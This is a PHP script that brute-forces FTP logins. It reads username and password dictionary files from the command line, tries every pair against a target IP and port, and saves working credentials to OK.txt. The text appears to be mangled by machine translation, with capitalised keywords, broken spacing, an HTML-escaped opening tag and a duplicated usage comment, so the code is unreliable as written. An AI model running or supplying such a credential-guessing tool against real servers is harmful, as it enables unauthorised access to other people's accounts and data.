& Lt ;? Php // Usage: php this file. phpFTP IP port user dictionary password dictionary, example: phpftp. php192.168.8.1021user. dicpass. dic. The user name and password can be changed to OK .txt in the same directory in seconds. // Use different user names and N password pairs respectively
// Usage: php file. php ftp ip port user dictionary password dictionary, example: php ftp. php 192.168.8.10 21 user. dic pass. dic. The user name and password can be changed to OK .txt in the same directory in seconds.
// Obtain the corresponding usernames and N passwords respectively.
$ User = file ($ _ SERVER ["argv"] [3]);
$ Pass = file ($ _ SERVER ["argv"] [4]);
$ Countuser = count ($ user );
$ Countpass = count ($ pass );
$ N = 0;
Do
{
For ($ I = 0; $ I <$ countpass; $ I = $ I + 1 ){
Echo "$ user [$ n], $ pass [$ I]";
Ftplogin ($ user [$ n], $ pass [$ I]); // call the ftp function
Sleep (5); // prevents ftp from being down for 5 seconds.
Continue;
}
$ N ++;
}
While ($ n <$ countuser );
// Ftpflood, successfully writes the user name and password to the OK .txt in the current directory
Function ftplogin ($ username, $ password ){
// Global $ username, $ password;
$ Host = $ _ SERVER ["argv"] [1];
$ Port = $ _ SERVER ["argv"] [2];
$ Conn = ftp_connect ($ host, $ port );
If (! $ Conn ){
Echo "unable to connect to FTP ";
Exit;
}
@ $ Result = ftp_login ($ conn, $ username, $ password );
If (! $ Result ){
Echo "error ";
Ftp_quit ($ conn );
}
Else {
Echo "----------------------------------> OK ";
Fputs(fopen( OK .txt, a +), "username:". $ username. "password:". $ password );
}
}
?>